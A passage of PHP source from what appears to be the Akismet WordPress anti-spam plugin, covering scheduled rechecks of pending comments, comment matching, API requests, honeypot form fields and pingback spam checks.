$comment_id ) { // if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck $comment = get_comment( $comment_id ); if ( ! $comment // Comment has been deleted || strtotime( $comment->comment_date_gmt ) < strtotime( "-15 days" ) // Comment is too old. || $comment->comment_approved !== "0" // Comment is no longer in the Pending queue ) { delete_comment_meta( $comment_id, 'akismet_error' ); delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); continue; } add_comment_meta( $comment_id, 'akismet_rechecking', true ); $status = self::check_db_comment( $comment_id, 'retry' ); $event = ''; if ( $status == 'true' ) { $event = 'cron-retry-spam'; } elseif ( $status == 'false' ) { $event = 'cron-retry-ham'; } // If we got back a legit response then update the comment history // other wise just bail now and try again later. No point in // re-trying all the comments once we hit one failure. if ( !empty( $event ) ) { delete_comment_meta( $comment_id, 'akismet_error' ); self::update_comment_history( $comment_id, '', $event ); update_comment_meta( $comment_id, 'akismet_result', $status ); // make sure the comment status is still pending. if it isn't, that means the user has already moved it elsewhere. $comment = get_comment( $comment_id ); if ( $comment && 'unapproved' == wp_get_comment_status( $comment_id ) ) { if ( $status == 'true' ) { wp_spam_comment( $comment_id ); } elseif ( $status == 'false' ) { // comment is good, but it's still in the pending queue. depending on the moderation settings // we may need to change it to approved. if ( check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type) ) wp_set_comment_status( $comment_id, 1 ); else if ( get_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ) ) wp_notify_moderator( $comment_id ); } } delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); } else { // If this comment has been pending moderation for longer than MAX_DELAY_BEFORE_MODERATION_EMAIL, // send a moderation email now. if ( ( intval( gmdate( 'U' ) ) - strtotime( $comment->comment_date_gmt ) ) < self::MAX_DELAY_BEFORE_MODERATION_EMAIL ) { delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); wp_notify_moderator( $comment_id ); } delete_comment_meta( $comment_id, 'akismet_rechecking' ); wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'check-db-comment-' . $status ); return; } delete_comment_meta( $comment_id, 'akismet_rechecking' ); } $remaining = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error'" ); if ( $remaining && !wp_next_scheduled('akismet_schedule_cron_recheck') ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'remaining' ); } } public static function fix_scheduled_recheck() { $future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' ); if ( !$future_check ) { return; } if ( get_option( 'akismet_alert_code' ) > 0 ) { return; } $check_range = time() + 1200; if ( $future_check > $check_range ) { wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' ); wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'fix-scheduled-recheck' ); } } public static function add_comment_nonce( $post_id ) { /** * To disable the Akismet comment nonce, add a filter for the 'akismet_comment_nonce' tag * and return any string value that is not 'true' or '' (empty string). * * Don't return boolean false, because that implies that the 'akismet_comment_nonce' option * has not been set and that Akismet should just choose the default behavior for that * situation. */ if ( ! self::get_api_key() ) { return; } $akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' ) { echo '<p style="display: none;">'; wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE ); echo '</p>'; } } public static function is_test_mode() { return defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE; } public static function allow_discard() { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) return false; if ( is_user_logged_in() ) return false; return ( get_option( 'akismet_strictness' ) === '1' ); } public static function get_ip_address() { return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : null; } /** * Do these two comments, without checking the comment_ID, "match"? * * @param mixed $comment1 A comment object or array. * @param mixed $comment2 A comment object or array. * @return bool Whether the two comments should be treated as the same comment. */ private static function comments_match( $comment1, $comment2 ) { $comment1 = (array) $comment1; $comment2 = (array) $comment2; // Set default values for these strings that we check in order to simplify // the checks and avoid PHP warnings. if ( ! isset( $comment1['comment_author'] ) ) { $comment1['comment_author'] = ''; } if ( ! isset( $comment2['comment_author'] ) ) { $comment2['comment_author'] = ''; } if ( ! isset( $comment1['comment_author_email'] ) ) { $comment1['comment_author_email'] = ''; } if ( ! isset( $comment2['comment_author_email'] ) ) { $comment2['comment_author_email'] = ''; } $comments_match = ( isset( $comment1['comment_post_ID'], $comment2['comment_post_ID'] ) && intval( $comment1['comment_post_ID'] ) == intval( $comment2['comment_post_ID'] ) && ( // The comment author length max is 255 characters, limited by the TINYTEXT column type. // If the comment author includes multibyte characters right around the 255-byte mark, they // may be stripped when the author is saved in the DB, so a 300+ char author may turn into // a 253-char author when it's saved, not 255 exactly. The longest possible character is // theoretically 6 bytes, so we'll only look at the first 248 bytes to be safe. substr( $comment1['comment_author'], 0, 248 ) == substr( $comment2['comment_author'], 0, 248 ) || substr( stripslashes( $comment1['comment_author'] ), 0, 248 ) == substr( $comment2['comment_author'], 0, 248 ) || substr( $comment1['comment_author'], 0, 248 ) == substr( stripslashes( $comment2['comment_author'] ), 0, 248 ) // Certain long comment author names will be truncated to nothing, depending on their encoding. || ( ! $comment1['comment_author'] && strlen( $comment2['comment_author'] ) > 248 ) || ( ! $comment2['comment_author'] && strlen( $comment1['comment_author'] ) > 248 ) ) && ( // The email max length is 100 characters, limited by the VARCHAR(100) column type. // Same argument as above for only looking at the first 93 characters. substr( $comment1['comment_author_email'], 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 ) || substr( stripslashes( $comment1['comment_author_email'] ), 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 ) || substr( $comment1['comment_author_email'], 0, 93 ) == substr( stripslashes( $comment2['comment_author_email'] ), 0, 93 ) // Very long emails can be truncated and then stripped if the [0:100] substring isn't a valid address. || ( ! $comment1['comment_author_email'] && strlen( $comment2['comment_author_email'] ) > 100 ) || ( ! $comment2['comment_author_email'] && strlen( $comment1['comment_author_email'] ) > 100 ) ) ); return $comments_match; } // Does the supplied comment match the details of the one most recently stored in self::$last_comment? public static function matches_last_comment( $comment ) { return self::comments_match( self::$last_comment, $comment ); } private static function get_user_agent() { return isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : null; } private static function get_referer() { return isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : null; } // return a comma-separated list of role names for the given user public static function get_user_roles( $user_id ) { $comment_user = null; $roles = false; if ( !class_exists('WP_User') ) return false; if ( $user_id > 0 ) { $comment_user = new WP_User( $user_id ); if ( isset( $comment_user->roles ) ) $roles = implode( ',', $comment_user->roles ); } if ( is_multisite() && is_super_admin( $user_id ) ) { if ( empty( $roles ) ) { $roles = 'super_admin'; } else { $comment_user->roles[] = 'super_admin'; $roles = implode( ',', $comment_user->roles ); } } return $roles; } // filter handler used to return a spam result to pre_comment_approved public static function last_comment_status( $approved, $comment ) { if ( is_null( self::$last_comment_result ) ) { // We didn't have reason to store the result of the last check. return $approved; } // Only do this if it's the correct comment if ( ! self::matches_last_comment( $comment ) ) { self::log( "comment_is_spam mismatched comment, returning unaltered $approved" ); return $approved; } if ( 'trash' === $approved ) { // If the last comment we checked has had its approval set to 'trash', // then it failed the comment blacklist check. Let that blacklist override // the spam check, since users have the (valid) expectation that when // they fill out their blacklists, comments that match it will always // end up in the trash. return $approved; } // bump the counter here instead of when the filter is added to reduce the possibility of overcounting if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); return self::$last_comment_result; } /** * If Akismet is temporarily unreachable, we don't want to "spam" the blogger with * moderation emails for comments that will be automatically cleared or spammed on * the next retry. * * For comments that will be rechecked later, empty the list of email addresses that * the moderation email would be sent to. * * @param array $emails An array of email addresses that the moderation email will be sent to. * @param int $comment_id The ID of the relevant comment. * @return array An array of email addresses that the moderation email will be sent to. */ public static function disable_moderation_emails_if_unreachable( $emails, $comment_id ) { if ( ! empty( self::$prevent_moderation_email_for_these_comments ) && ! empty( $emails ) ) { $comment = get_comment( $comment_id ); if ( $comment ) { foreach ( self::$prevent_moderation_email_for_these_comments as $possible_match ) { if ( self::comments_match( $possible_match, $comment ) ) { update_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ); return array(); } } } } return $emails; } public static function _cmp_time( $a, $b ) { return $a['time'] > $b['time'] ? -1 : 1; } public static function _get_microtime() { $mtime = explode( ' ', microtime() ); return $mtime[1] + $mtime[0]; } /** * Make a POST request to the Akismet API. * * @param string $request The body of the request. * @param string $path The path for the request. * @param string $ip The specific IP address to hit. * @return array A two-member array consisting of the headers and the response body, both empty in the case of a failure. */ public static function http_post( $request, $path, $ip=null ) { $akismet_ua = sprintf( 'WordPress/%s | Akismet/%s', $GLOBALS['wp_version'], constant( 'AKISMET_VERSION' ) ); $akismet_ua = apply_filters( 'akismet_ua', $akismet_ua ); $host = self::API_HOST; $api_key = self::get_api_key(); if ( $api_key ) { $request = add_query_arg( 'api_key', $api_key, $request ); } $http_host = $host; // use a specific IP if provided // needed by Akismet_Admin::check_server_connectivity() if ( $ip && long2ip( ip2long( $ip ) ) ) { $http_host = $ip; } $http_args = array( 'body' => $request, 'headers' => array( 'Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ), 'Host' => $host, 'User-Agent' => $akismet_ua, ), 'httpversion' => '1.0', 'timeout' => 15 ); $akismet_url = $http_akismet_url = "http://{$http_host}/1.1/{$path}"; /** * Try SSL first; if that fails, try without it and don't try it again for a while. */ $ssl = $ssl_failed = false; // Check if SSL requests were disabled fewer than X hours ago. $ssl_disabled = get_option( 'akismet_ssl_disabled' ); if ( $ssl_disabled && $ssl_disabled < ( time() - 60 * 60 * 24 ) ) { // 24 hours $ssl_disabled = false; delete_option( 'akismet_ssl_disabled' ); } else if ( $ssl_disabled ) { do_action( 'akismet_ssl_disabled' ); } if ( ! $ssl_disabled && ( $ssl = wp_http_supports( array( 'ssl' ) ) ) ) { $akismet_url = set_url_scheme( $akismet_url, 'https' ); do_action( 'akismet_https_request_pre' ); } $response = wp_remote_post( $akismet_url, $http_args ); Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) ); if ( $ssl && is_wp_error( $response ) ) { do_action( 'akismet_https_request_failure', $response ); // Intermittent connection problems may cause the first HTTPS // request to fail and subsequent HTTP requests to succeed randomly. // Retry the HTTPS request once before disabling SSL for a time. $response = wp_remote_post( $akismet_url, $http_args ); Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) ); if ( is_wp_error( $response ) ) { $ssl_failed = true; do_action( 'akismet_https_request_failure', $response ); do_action( 'akismet_http_request_pre' ); // Try the request again without SSL. $response = wp_remote_post( $http_akismet_url, $http_args ); Akismet::log( compact( 'http_akismet_url', 'http_args', 'response' ) ); } } if ( is_wp_error( $response ) ) { do_action( 'akismet_request_failure', $response ); return array( '', '' ); } if ( $ssl_failed ) { // The request failed when using SSL but succeeded without it. Disable SSL for future requests. update_option( 'akismet_ssl_disabled', time() ); do_action( 'akismet_https_disabled' ); } $simplified_response = array( $response['headers'], $response['body'] ); $alert_code_check_paths = array( 'verify-key', 'comment-check', 'get-stats', ); if ( in_array( $path, $alert_code_check_paths ) ) { self::update_alert( $simplified_response ); } return $simplified_response; } // given a response from an API call like check_key_status(), update the alert code options if an alert is present. public static function update_alert( $response ) { $alert_option_prefix = 'akismet_alert_'; $alert_header_prefix = 'x-akismet-alert-'; $alert_header_names = array( 'code', 'msg', 'api-calls', 'usage-limit', 'upgrade-plan', 'upgrade-url', 'upgrade-type', 'upgrade-via-support', ); foreach ( $alert_header_names as $alert_header_name ) { $value = null; if ( isset( $response[0][ $alert_header_prefix . $alert_header_name ] ) ) { $value = $response[0][ $alert_header_prefix . $alert_header_name ]; } $option_name = $alert_option_prefix . str_replace( '-', '_', $alert_header_name ); if ( $value != get_option( $option_name ) ) { if ( ! $value ) { delete_option( $option_name ); } else { update_option( $option_name, $value ); } } } } /** * Mark akismet-frontend.js as deferred. Because nothing depends on it, it can run at any time * after it's loaded, and the browser won't have to wait for it to load to continue * parsing the rest of the page. */ public static function set_form_js_async( $tag, $handle, $src ) { if ( 'akismet-frontend' !== $handle ) { return $tag; } return preg_replace( '/^<script /i', '<script defer ', $tag ); } public static function get_akismet_form_fields() { $fields = ''; $prefix = 'ak_'; // Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content. if ( 'wpcf7_form_elements' === current_filter() ) { $prefix = '_wpcf7_ak_'; } $fields .= '<p style="display: none !important;" class="akismet-fields-container" data-prefix="' . esc_attr( $prefix ) . '">'; $fields .= '<label>Δ<textarea name="' . $prefix . 'hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label>'; if ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() ) { // Keep track of how many ak_js fields are in this page so that we don't re-use // the same ID. static $field_count = 0; $field_count++; $fields .= '<input type="hidden" id="ak_js_' . $field_count . '" name="' . $prefix . 'js" value="' . mt_rand( 0, 250 ) . '"/>'; $fields .= '<script>document.getElementById( "ak_js_' . $field_count . '" ).setAttribute( "value", ( new Date() ).getTime() );</script>'; } $fields .= '</p>'; return $fields; } public static function output_custom_form_fields( $post_id ) { if ( 'fluentform/form_element_start' === current_filter() && did_action( 'fluentform_form_element_start' ) ) { // Already did this via the legacy filter. return; } // phpcs:ignore WordPress.Security.EscapeOutput echo self::get_akismet_form_fields(); } public static function inject_custom_form_fields( $html ) { $html = str_replace( '</form>', self::get_akismet_form_fields() . '</form>', $html ); return $html; } public static function append_custom_form_fields( $html ) { $html .= self::get_akismet_form_fields(); return $html; } /** * Ensure that any Akismet-added form fields are included in the comment-check call. * * @param array $form * @param array $data Some plugins will supply the POST data via the filter, since they don't * read it directly from $_POST. * @return array $form */ public static function prepare_custom_form_values( $form, $data = null ) { if ( 'fluentform/akismet_fields' === current_filter() && did_filter( 'fluentform_akismet_fields' ) ) { // Already updated the form fields via the legacy filter. return $form; } if ( is_null( $data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $data = $_POST; } $prefix = 'ak_'; // Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content. if ( 'wpcf7_akismet_parameters' === current_filter() ) { $prefix = '_wpcf7_ak_'; } foreach ( $data as $key => $val ) { if ( 0 === strpos( $key, $prefix ) ) { $form[ 'POST_ak_' . substr( $key, strlen( $prefix ) ) ] = $val; } } return $form; } private static function bail_on_activation( $message, $deactivate = true ) { ?> <!doctype html> <html> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <style> * { text-align: center; margin: 0; padding: 0; font-family: "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; } p { margin-top: 1em; font-size: 18px; } </style> </head> <body> <p><?php echo esc_html( $message ); ?></p> </body> </html> <?php if ( $deactivate ) { $plugins = get_option( 'active_plugins' ); $akismet = plugin_basename( AKISMET__PLUGIN_DIR . 'akismet.php' ); $update = false; foreach ( $plugins as $i => $plugin ) { if ( $plugin === $akismet ) { $plugins[$i] = false; $update = true; } } if ( $update ) { update_option( 'active_plugins', array_filter( $plugins ) ); } } exit; } public static function view( $name, array $args = array() ) { $args = apply_filters( 'akismet_view_arguments', $args, $name ); foreach ( $args as $key => $val ) { $$key = $val; } load_plugin_textdomain( 'akismet' ); $file = AKISMET__PLUGIN_DIR . 'views/'. $name . '.php'; include( $file ); } /** * Attached to activate_{ plugin_basename( __FILES__ ) } by register_activation_hook() * @static */ public static function plugin_activation() { if ( version_compare( $GLOBALS['wp_version'], AKISMET__MINIMUM_WP_VERSION, '<' ) ) { load_plugin_textdomain( 'akismet' ); $message = '<strong>'.sprintf(esc_html__( 'Akismet %s requires WordPress %s or higher.' , 'akismet'), AKISMET_VERSION, AKISMET__MINIMUM_WP_VERSION ).'</strong> '.sprintf(__('Please <a href="%1$s">upgrade WordPress</a> to a current version, or <a href="%2$s">downgrade to version 2.4 of the Akismet plugin</a>.', 'akismet'), 'https://codex.wordpress.org/Upgrading_WordPress', 'https://wordpress.org/extend/plugins/akismet/download/'); Akismet::bail_on_activation( $message ); } elseif ( ! empty( $_SERVER['SCRIPT_NAME'] ) && false !== strpos( $_SERVER['SCRIPT_NAME'], '/wp-admin/plugins.php' ) ) { add_option( 'Activated_Akismet', true ); } } /** * Removes all connection options * @static */ public static function plugin_deactivation( ) { self::deactivate_key( self::get_api_key() ); // Remove any scheduled cron jobs. $akismet_cron_events = array( 'akismet_schedule_cron_recheck', 'akismet_scheduled_delete', ); foreach ( $akismet_cron_events as $akismet_cron_event ) { $timestamp = wp_next_scheduled( $akismet_cron_event ); if ( $timestamp ) { wp_unschedule_event( $timestamp, $akismet_cron_event ); } } } /** * Essentially a copy of WP's build_query but one that doesn't expect pre-urlencoded values. * * @param array $args An array of key => value pairs * @return string A string ready for use as a URL query string. */ public static function build_query( $args ) { return _http_build_query( $args, '', '&' ); } /** * Log debugging info to the error log. * * Enabled when WP_DEBUG_LOG is enabled (and WP_DEBUG, since according to * core, "WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless * WP_DEBUG is true), but can be disabled via the akismet_debug_log filter. * * @param mixed $akismet_debug The data to log. */ public static function log( $akismet_debug ) { if ( apply_filters( 'akismet_debug_log', defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG && defined( 'AKISMET_DEBUG' ) && AKISMET_DEBUG ) ) { error_log( print_r( compact( 'akismet_debug' ), true ) ); } } /** * Check pingbacks for spam before they're saved to the DB. * * @param string $method The XML-RPC method that was called. * @param array $args This and the $server arg are marked as optional since plugins might still be * calling do_action( 'xmlrpc_action', [...] ) without the arguments that were added in WP 5.7. * @param wp_xmlrpc_server $server */ public static function pre_check_pingback( $method, $args = array(), $server = null ) { if ( $method !== 'pingback.ping' ) { return; } /* * $args looks like this: * * Array * ( * [0] => http://www.example.net/?p=1 // Site that created the pingback. * [1] => https://www.example.com/?p=2 // Post being pingback'd on this site. * ) */ if ( ! is_null( $server ) && ! empty( $args[1] ) ) { $is_multicall = false; $multicall_count = 0; if ( 'system.multicall' === $server->message->methodName ) { $is_multicall = true; $multicall_count = is_countable( $server->message->params ) ? count( $server->message->params ) : 0; } $post_id = url_to_postid( $args[1] ); // If pingbacks aren't open on this post, we'll still check whether this request is part of a potential DDOS, // but indicate to the server that pingbacks are indeed closed so we don't include this request in the user's stats, // since the user has already done their part by disabling pingbacks. $pingbacks_closed = false; $post = get_post( $post_id ); if ( ! $post || ! pings_open( $post ) ) { $pingbacks_closed = true; } $comment = array( 'comment_author_url' => $args[0], 'comment_post_ID' => $post_id, 'comment_author' => '', 'comment_author_email' => '', 'comment_content' => '', 'comment_type' => 'pingback', 'akismet_pre_check' => '1', 'comment_pingback_target' => $args[1], 'pingbacks_closed' => $pingbacks_closed ? '1' : '0', 'is_multicall' => $is_multicall, 'multicall_count' => $multicall_count, ); $comment = self::auto_check_comment( $comment, 'xml-rpc' ); if ( isset( $comment['akismet_result'] ) && 'true' == $comment['akismet_result'] ) { // Sad: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything. $server->error( new IXR_Error( 0, 'Invalid discovery target' ) ); // Also note that if this was part of a multicall, a spam result will prevent the subsequent calls from being executed. // This is probably fine, but it raises the bar for what should be acceptable as a false positive. } } } /** * Ensure that we are loading expected scalar values from akismet_as_submitted commentmeta. * * @param mixed $meta_value * @return mixed */ private static function sanitize_comment_as_submitted( $meta_value ) { if ( empty( $meta_value ) ) { return $meta_value; } $meta_value = (array) $meta_value; foreach ( $meta_value as $key => $value ) { if ( ! is_scalar( $value ) ) { unset( $meta_value[ $key ] ); } else { // These can change, so they're not explicitly listed in comment_as_submitted_allowed_keys. if ( strpos( $key, 'POST_ak_' ) === 0 ) { continue; } if ( ! isset( self::$comment_as_submitted_allowed_keys[ $key ] ) ) { unset( $meta_value[ $key ] ); } } } return $meta_value; } public static function predefined_api_key() { if ( defined( 'WPCOM_API_KEY' ) ) { return true; } return apply_filters( 'akismet_predefined_api_key', false ); } /** * Controls the display of a privacy related notice underneath the comment form using the `akismet_comment_form_privacy_notice` option and filter respectively. * Default is top not display the notice, leaving the choice to site admins, or integrators. */ public static function display_comment_form_privacy_notice() { if ( 'display' !== apply_filters( 'akismet_comment_form_privacy_notice', get_option( 'akismet_comment_form_privacy_notice', 'hide' ) ) ) { return; } echo apply_filters( 'akismet_comment_form_privacy_notice_markup', '<p class="akismet_comment_form_privacy_notice">' . sprintf( __( 'This site uses Akismet to reduce spam. <a href="%s" target="_blank" rel="nofollow noopener">Learn how your comment data is processed</a>.', 'akismet' ), 'https://akismet.com/privacy/' ) . '</p>' ); } public static function load_form_js() { if ( ! is_admin() && ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() ) && self::get_api_key() ) { wp_register_script( 'akismet-frontend', plugin_dir_url( __FILE__ ) . '_inc/akismet-frontend.js', array(), filemtime( plugin_dir_path( __FILE__ ) . '_inc/akismet-frontend.js' ), true ); wp_enqueue_script( 'akismet-frontend' ); } } /** * Add the form JavaScript when we detect that a supported form shortcode is being parsed. */ public static function load_form_js_via_filter( $return_value, $tag, $attr, $m ) { if ( in_array( $tag, array( 'contact-form', 'gravityform', 'contact-form-7', 'formidable', 'fluentform' ) ) ) { self::load_form_js(); } return $return_value; } /** * Was the last entry in the comment history created by Akismet? * * @param int $comment_id The ID of the comment. * @return bool */ public static function last_comment_status_change_came_from_akismet( $comment_id ) { $history = self::get_comment_history( $comment_id ); if ( empty( $history ) ) { return false; } $most_recent_history_event = $history[0]; if ( ! isset( $most_recent_history_event['event'] ) ) { return false; } $akismet_history_events = array( 'check-error', 'cron-retry-ham', 'cron-retry-spam', 'check-ham', 'check-spam', 'recheck-error', 'recheck-ham', 'recheck-spam', 'webhook-ham', 'webhook-spam', ); if ( in_array( $most_recent_history_event['event'], $akismet_history_events ) ) { return true; } return false; } }